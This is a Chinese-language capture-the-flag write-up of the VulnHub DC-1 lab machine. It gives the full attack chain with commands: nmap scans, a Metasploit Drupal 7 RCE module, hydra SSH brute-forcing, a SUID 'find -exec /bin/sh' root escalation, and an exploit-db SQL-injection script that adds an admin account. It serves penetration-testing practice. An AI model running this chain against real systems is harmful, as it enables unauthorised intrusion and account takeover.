DC-1 靶機滲透
DC-1 靶機滲透
*概況*:
下載地址
//www.vulnhub.com/entry/dc-1,292/
*官方描述:*
DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.
It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.
To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.
There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.
There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.
Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.
Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.
*首先將kali和靶機都連接成NAT模式,然後開啟靶機,就是上圖所示。*
*前提思路*
*我拿到這個靶機的時候,知道了要拿五個flag,然後需要拿到最高許可權。我並不知道IP,但我可以在虛擬機中查看他的mac地址。如下圖:*
00:0C:29:CF:22:14
*資訊收集*
*用nmap -sP 參數 ping命令去掃描與kali同網段的* *存活主機。*
nmap -sP 192.168.161.0/24 -oN nmap.sP
*與Mac地址相對應獲得ip地址:==**192.168.161.162**==*
*埠掃描*
*使用全埠掃描顯示詳細資訊,**TCP連接掃描**並開啟腳本* *功能。*
*nmap -A -p- -sC -T4 -sT 192.168.161.162 -oN nmap.A*
*埠詳情*
*22/tcp* | *open* | *ssh* | *OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)* |
---|---|---|---|
*80/tcp* | *open* | *http* | *Apache httpd 2.2.22 ((Debian))* |
*111/tcp* | *open* | *rpcbind* | *2-4 (RPC #100000)* |
*39284**/tcp* | *open* | *status* | *1 (RPC #100024)* |
*網站資訊*
*既然開放了80埠,那麼就訪問一下網站。*
*網站首頁:*
*獲取web應用指紋以及技術架構:*
*得到資訊*
*CMS: drupal 7 中間件:Apache*
*程式語言: php OS:linux*
*漏洞映射*
*既然知道了cms是drupal 7,那麼可以查一下相關漏洞。*
*在kali漏洞庫中尋找。*
*Searchsploit drupal 7*
*發現存在sql注入,和遠程程式碼執行漏洞。並且rce漏洞的exp模組是rb腳本,所以可以考慮用msf。*
*在msf中搜索漏洞褲:search drupal 7*
*使用最新exp:use 1*
*Show option :查看參數*
*設置rhost : set rhost (kali的IP)*
*Run:開始攻擊*
*這時候成功上線,getuid:查看當前用戶*
*然後我想寫一個一句話木馬,用蟻劍連接,好翻目錄。*
*連接成功*
*在www目錄下獲取flag1*
*在/etc/passwd 中看系統用戶*
*發現存在flag4用並且在home下*
*在home目錄下發現flag4*
*然後提示有config文件,所以就在網上查了一下drupal的默認配置文件路徑*
*/var/www/sites/default/settings.php*
*接著發現了flag2和資料庫帳號密碼。*
*然後就打算連接一下資料庫。*
*在user表中發現帳號密碼,但是密碼加了密,而且也不知道是什麼加密方式,所以資料庫這裡就先放下了。*
*那麼既然有flag4用戶並開了ssh,所以嘗試ssh爆破。*
*使用九頭蛇爆破:*
*hydra -l flag4 -P /usr/share/john/password.lst ssh://192.168.161.162 -vV*
*-l:指定用戶名 -P:指定密碼字典*
*-vV:顯示詳細*
*得到密碼為orange*
*然後ssh連接登陸成功。*
*許可權提升*
· *獲取root 許可權*
*提權思路*
· *利用系統內核漏洞提權*
· *sudo 許可權泄露*
· *利用SUID 提權*
*這裡使用suid提權,我就簡單介紹一下:*
SUID是一種特殊的文件屬性,它允許用戶執行的文件以該文件的擁有者的身份運行。
SUID是一種對二進位程式進行設置的特殊許可權,可以讓二進位程式的執行者臨時擁有屬主的許可權(僅對擁有執行許可權的二進位程式有效)。例如,所有用戶都可以執行passwd命令來修改自己的用戶密碼,而用戶密碼保存在/etc/shadow文件中。仔細查看這個文件就會發現它的默認許可權是000,也就是說除了root管理員以外,所有用戶都沒有查看或編輯該文件的許可權。但是,在使用passwd命令時如果加上SUID特殊許可權位,就可讓普通用戶臨時獲得程式所有者的身份,把變更的密碼資訊寫入到shadow文件中。這很像我們在古裝劇中見到的手持尚方寶劍的欽差大臣,他手持的尚方寶劍代表的是皇上的權威,因此可以懲戒貪官,但這並不意味著他永久成為了皇上。因此這只是一種有條件的、臨時的特殊許可權授權方法。
*首先尋找一下根目錄下具有s許可權的命令:*
*find / -perm -4000 2>/dev/null*
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs
*然後使用find命令提權:*
*使用方法* *find (一個路徑或文件必須存在) -exec 執行命令 (結束);*
*find ray -exec ‘/bin/sh’ ;*
*提權成功。然後在root文件夾中找到flag5*
*這時候還差一個flag3,然後可以利用一下sql注入漏洞,增加一個用戶。*
*到達指定的sqlexp路徑。*
Cd /usr/share/exploitdb/exploits/php/webapps/34992.py
*查看使用方法* searchsploit -m 34992
*python 34992.py -t //**192.168.161.163* *-u* *123* *-p* *123*
*新增用戶名123,密碼123。*
*成功登陸網站,然後隨便翻一下即可找到flag3*
*這時,我們已經拿到了五個flag和root許可權。*
*總結:這次滲透主要是想練習一下滲透測試的一些思路,若有不足的地方請大佬們多多指導,謝謝!*